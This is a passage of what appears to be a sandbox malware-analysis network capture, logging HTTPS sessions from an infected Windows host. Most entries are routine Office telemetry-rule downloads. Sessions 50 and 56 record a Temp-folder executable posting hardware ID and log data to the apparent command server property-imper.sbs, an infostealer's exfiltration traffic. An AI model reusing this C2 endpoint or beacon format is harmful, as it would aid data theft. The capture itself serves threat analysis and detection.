M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:19 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 6e0e0a2c-401e-0064-4814-3d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192320Z-178bfbc474brk967hC1NYCfu6000000004m000000000m7n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192320Z-174c587ffdfb485jhC1TEBmc1s000000032g00000000r31t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:20 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:20 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192320Z-178bfbc474bpscmfhC1NYCfc2c00000003g0000000008tef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49790	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:22 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IJKBC6TTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18115 Host: property-imper.sbs
2024-11-23 19:23:22 UTC	15331	OUT	Data Raw: 2d 2d 49 4a 4b 42 43 36 54 54 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 49 4a 4b 42 43 36 54 54 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4a 4b 42 43 36 54 54 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 4a 4b 42 43 36 54 54 50 0d 0a 43 6f 6e 74 65 6e Data Ascii: --IJKBC6TTPContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--IJKBC6TTPContent-Disposition: form-data; name="pid"2--IJKBC6TTPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IJKBC6TTPConten
2024-11-23 19:23:22 UTC	2784	OUT	Data Raw: 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-11-23 19:23:23 UTC	1022	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=986a8kafo9qom08pl38fjimf5n; expires=Wed, 19-Mar-2025 13:10:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oln7BLz2FfN1ipof2RokSZKEQZIA%2FZg1jCKnIbjc6%2F%2FfUfhWZbCE1ymoS63lwA2g%2FmzuRlN3imTKdEOeEC1ugOARzIVP3zjJ8FKqPODCWTPNCleZHa%2B6yXsv3aUN1iORjaNpF4Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e738887baa98c41-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&sent=16&recv=22&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19070&delivery_rate=1586956&cwnd=219&unsent_bytes=0&cid=ec661c23d543e508&ts=1276&x=0"
2024-11-23 19:23:23 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192322Z-178bfbc474bnwsh4hC1NYC2ubs00000004w000000000kexq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192322Z-15b8b599d88z9sc7hC1TEBkr4w00000003m00000000014ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 15dd4eb7-201e-0051-500a-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192322Z-178bfbc474bwlrhlhC1NYCy3kg00000004ug00000000g9ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192322Z-174c587ffdfgcs66hC1TEB69cs00000003900000000055ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:22 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192323Z-174c587ffdfl22mzhC1TEBk40c00000003d000000000rkfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49800	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:24 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H30YLNAJA2JQFTT49H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8790 Host: property-imper.sbs
2024-11-23 19:23:24 UTC	8790	OUT	Data Raw: 2d 2d 48 33 30 59 4c 4e 41 4a 41 32 4a 51 46 54 54 34 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 48 33 30 59 4c 4e 41 4a 41 32 4a 51 46 54 54 34 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 33 30 59 4c 4e 41 4a 41 32 4a 51 46 54 54 34 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --H30YLNAJA2JQFTT49HContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--H30YLNAJA2JQFTT49HContent-Disposition: form-data; name="pid"2--H30YLNAJA2JQFTT49HContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 19:23:25 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uv7s3beapvlo2n1lcq8jcdo34o; expires=Wed, 19-Mar-2025 13:10:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LXuOqpj%2FAFToJdz0j8Kshttj5QC7f0VlmmF0AhfckRJngte6DhflfoyD%2Fpju2IcLUifxgJsw%2F3mgr2eDAXiaW9bqDsSaSBdoasZNpml3AUEzrdmZaXAqD0DybhQcnM%2Bk63u%2Bxkw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e738896e8a64369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2124&sent=10&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9731&delivery_rate=1286910&cwnd=230&unsent_bytes=0&cid=f83e19963d289212&ts=876&x=0"
2024-11-23 19:23:25 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
